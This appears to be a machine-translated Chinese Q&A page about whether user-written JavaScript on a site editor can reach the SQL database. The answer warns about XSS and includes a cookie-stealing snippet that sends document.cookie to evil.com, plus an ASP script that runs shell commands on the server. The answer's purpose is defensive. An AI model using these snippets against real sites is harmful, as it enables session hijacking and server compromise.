javascript - 如果他可以编写自己的 Javascript,最终用户可以联系 SQL DB 吗?
问题描述
我有一个网站,我让用户在该网站上编辑网站的前端。用户只能访问编辑器,不能访问其托管的服务器。
用户要求我也允许使用 javascript。这意味着用户可以在前端创建自己的脚本。
我担心的是用户可能会用它来做恶意的事情。我担心如果用户足够了解一些东西,他可能会搞砸该网站。
我的问题: - 假设用户拥有 SQL DB 的连接字符串,他能否设法在该服务器上执行查询?通常这应该是 NO,因为 javascript 是客户端,对吗?
我找到了以下片段:
var connection = new ActiveXObject("ADODB.Connection") ;
var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";
connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
document.write(rs.fields(1));
rs.movenext;
}
rs.close;
connection.close;
假设我的连接字符串看起来像
Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True
我试图让脚本运行,但幸运的是它显示了一个空白页。但这是因为我可能做错了什么吗?还是确实是因为javascript是客户端的,并且不允许做那种事情?
其他问题: - 我采取了哪些其他风险示例允许他在前端使用 javascript?如果 javascript 确实是一种完全客户端语言,这意味着他不能做任何其他有风险的事情,对吗?
解决方案
JavaScript 在客户端运行,不会直接影响服务器的安全。但是,它可能对您的网站访问者、用户和管理员构成威胁。JavaScript 攻击被称为XSS 攻击,可能会产生各种影响:
基于 XSS 的攻击种类几乎是无限的,但它们通常包括向攻击者传输隐私数据,如 cookie 或其他会话信息,将受害者重定向到攻击者控制的 Web 内容,或在用户的机器上执行其他恶意操作以易受攻击的网站为幌子。
您问题中的代码似乎用于ActiveXObject
创建数据库连接。如果攻击者拥有数据库凭据(连接字符串)并且 SQL 服务器端口是打开的,那么是的,他们可以访问数据库,但此时他们可以使用任何 SQL 客户端。
但是,可以在 IIS 服务器上运行 JScript(Microsoft 的 JavaScript 版本)。如果代码放置在带有runat="server"
属性的脚本标记中,在 .asp 页面上,那么它将在服务器上执行并可以到达数据库。例如,这段代码:
<html>
<script language="javascript" runat="server">
function exploit() {
var shell = new ActiveXObject("WScript.shell");
var cmd = shell.Exec("ipconfig");
Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
}
</script>
<% exploit() %>
</html>
如果在 .asp 或 .aspx 页面上执行,将显示服务器的 IP 配置。但如果攻击者可以编辑 .asp / .aspx 页面,那就太迟了。
假设他们不能编辑活动服务器页面,并且他们没有凭据或访问 SQL 服务器,他们应该不能直接使用 JavaScript 访问您的数据库。但是,他们可以使用 XSS 攻击来提升他们的权限。
可能的攻击场景:
攻击者编写了一个脚本来收集用户 cookie,并将它们发送到他们的服务器。
var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');
使用这个简单的代码,攻击者可以记录访问托管此恶意脚本页面的任何用户的 cookie,并使用它们登录到他们的帐户或使用他们的权限执行其他操作。
如果管理员访问此页面,攻击者可以使用他们的 cookie 以管理员身份访问控制面板。许多 CMS(包括 WordPress 和 Joomla)允许管理员在服务器上编写或修改 PHP 代码,因此攻击者可能会上传 Web shell。他们甚至可以通过从管理员的浏览器发出 XHR 请求来自动化整个过程。
如果他们设法上传 web shell,他们就可以执行命令和代码、读/写文件和访问 SQL 服务器。所以现在他们可以使用与您的用户帐户相同的凭据和 IP 访问数据库。当然,可能有一些机制(反病毒、限制等)可以防止这种情况发生,但坚定的攻击者可以找到绕过它们的方法。
总之,您永远不应该运行不受信任的代码。在您的网站上允许不受信任的 JavaScript 代码可能会产生非常糟糕的后果。即使攻击者无法访问您的数据库或损害您的网站,他们仍然可能会损害您的访问者。您可以访问牛肉以了解 XSS 攻击的危险程度。
推荐阅读
- javascript - Cloud Storage 触发 Cloud Function 总是超时并超过期限
- .net-core - 数据源不会出现在 devexpress blazor reportdesigner 上
- regex - 选择字符串的正则表达式模式的最大长度?
- php - 试图收集表单数据,但 iphone 似乎不起作用
- docker - 使用生成的映像启动 VM 后,如何访问在 GCP 映像构建期间克隆的存储库文件
- colors - GNUPLOT splot 调色板匹配 jetmap
- python - 复制字典与添加元素以重建字典
- excel - Excel条件格式意外结果
- typescript - 将 TypeScript 与 Firebase 一起使用 - 找不到模块“firebase/app”
- python - 在 Windows 10 (Python 3.8.3) 上安装 TensorFlow 时出错